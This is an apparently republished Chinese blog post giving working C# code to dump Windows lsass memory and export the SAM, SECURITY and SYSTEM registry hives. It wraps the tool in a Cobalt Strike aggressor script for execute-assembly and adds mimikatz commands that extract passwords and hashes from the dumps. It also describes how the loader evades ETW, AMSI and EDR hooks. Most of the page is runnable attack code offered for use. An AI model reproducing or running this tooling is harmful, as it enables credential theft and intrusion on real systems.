- 資訊首頁(yè) > 開(kāi)發(fā)技術(shù) >
- C# dump系統lsass內存和sam注冊表是怎樣的
這期內容當中小編將會(huì )給大家帶來(lái)有關(guān)C# dump系統lsass內存和sam注冊表是怎樣的,文章內容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
因為dump
系統lsass
內存和sam
注冊表需要管理員權限,所以首先需要對當前進(jìn)程上下文權限做判斷。
public static bool IsHighIntegrity() { // returns true if the current process is running with adminstrative privs in a high integrity context var identity = WindowsIdentity.GetCurrent(); var principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); }
MiniDumpWriteDump
是MS DbgHelp.dll
中一個(gè)API, 用于導出當前運行的程序的Dump
,利用MiniDumpWriteDump
實(shí)現dump lsass內存的功能,先加載MiniDumpWriteDump
函數。
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
之后調用函數,并保存dump文件,代碼如下所示:
namespace sharpdump { public class MiniDumper { public static string MiniDump() { Process[] pLsass = Process.GetProcessesByName("lsass"); string dumpFile = Path.Combine(Path.GetTempPath(), string.Format("lsass{0}.dmp", pLsass[0].Id)); if (File.Exists(dumpFile)) File.Delete(dumpFile); Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", pLsass[0].Id, dumpFile)); using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) { bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); if (bRet) { Console.WriteLine("[+] Dump successful!"); return dumpFile; } else { Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: {0}", Marshal.GetLastWin32Error())); return null; } } } } }
首先導入需要用到的API。
[DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( UIntPtr hKey, string subKey, int ulOptions, int samDesired, out UIntPtr hkResult ); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern int RegSaveKey( UIntPtr hKey, string lpFile, IntPtr lpSecurityAttributes ); [DllImport("advapi32.dll", SetLastError = true)] public static extern int RegCloseKey( UIntPtr hKey );
然后構建函數,對"SAM", "SECURITY", "SYSTEM"注冊表進(jìn)行reg save。
namespace sharpdump { internal class Reg { public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); public static int KEY_READ = 0x20019; public static int KEY_ALL_ACCESS = 0xF003F; public static int REG_OPTION_OPEN_LINK = 0x0008; public static int REG_OPTION_BACKUP_RESTORE = 0x0004; public static int KEY_QUERY_VALUE = 0x1; public static void ExportRegKey(string key, string outFile) { var hKey = UIntPtr.Zero; try { RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); //https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa RegSaveKey(hKey, outFile, IntPtr.Zero); RegCloseKey(hKey); Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile); } catch (Exception e) { throw e; } } public static string DumpReg(string key) { try { String addr = key + ".hiv"; addr = Path.Combine(Path.GetTempPath(), addr); ExportRegKey(key, addr); return addr; } catch (Exception e) { Console.WriteLine(e.Message); Console.WriteLine(e.StackTrace); return ""; } } } }
文件會(huì )被dump
到temp
目錄下,然后對所有dump
成功的文件進(jìn)行打包處理,方便下載。完整代碼稍后上傳至知識星球。
ExecuteAssembly
是CS可執行組件的一個(gè)替代方案,ExecuteAssembly
基于C/C++構建,可以幫助廣大研究人員實(shí)現.NET程序集的加載和注入。
ExecuteAssembly
復用了主機進(jìn)程spawnto
來(lái)加載CLR模塊/AppDomainManager
,Stomping
加載器/.NET程序集PE DOS頭,并卸載了.NET相關(guān)模塊,以實(shí)現ETW+AMSI繞過(guò)。除此之外,它還能夠繞過(guò)基于NT靜態(tài)系統調用的EDR鉤子,以及通過(guò)動(dòng)態(tài)解析API(superfasthash
哈希算法)實(shí)現隱藏導入。
當前metasploit-framework
和Cobalt Strike
都已經(jīng)實(shí)現了ExecuteAssembly
功能,下面主要以Cobalt Strike
為例,實(shí)現dump系統lsass內存和sam注冊表的功能
以結合 Cobalt Strike
為例,編寫(xiě)一個(gè)簡(jiǎn)單的cna
腳本。
popup beacon_bottom { menu "Dumper" { item "SharpDump"{ local('$bid'); foreach $bid ($1){ bexecute_assembly($1, script_resource("Dumper.exe")); } } item "DownloadDump"{ prompt_text("File's address to download", "", lambda({ bdownload(@ids, $1); }, @ids => $1)); } } }
加載腳本后,執行SharpDump
,結果如下所示:
下載存放在temp
目錄下的dump.gz
,然后使用Decompress
解壓,最后使用mimikatz
解密用戶(hù)lsass.dmp
和sam
文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit lsadump::sam /sam:sam.hiv /system:system.hiv
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。
Copyright ? 2009-2022 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 特網(wǎng)科技 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 百度云 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站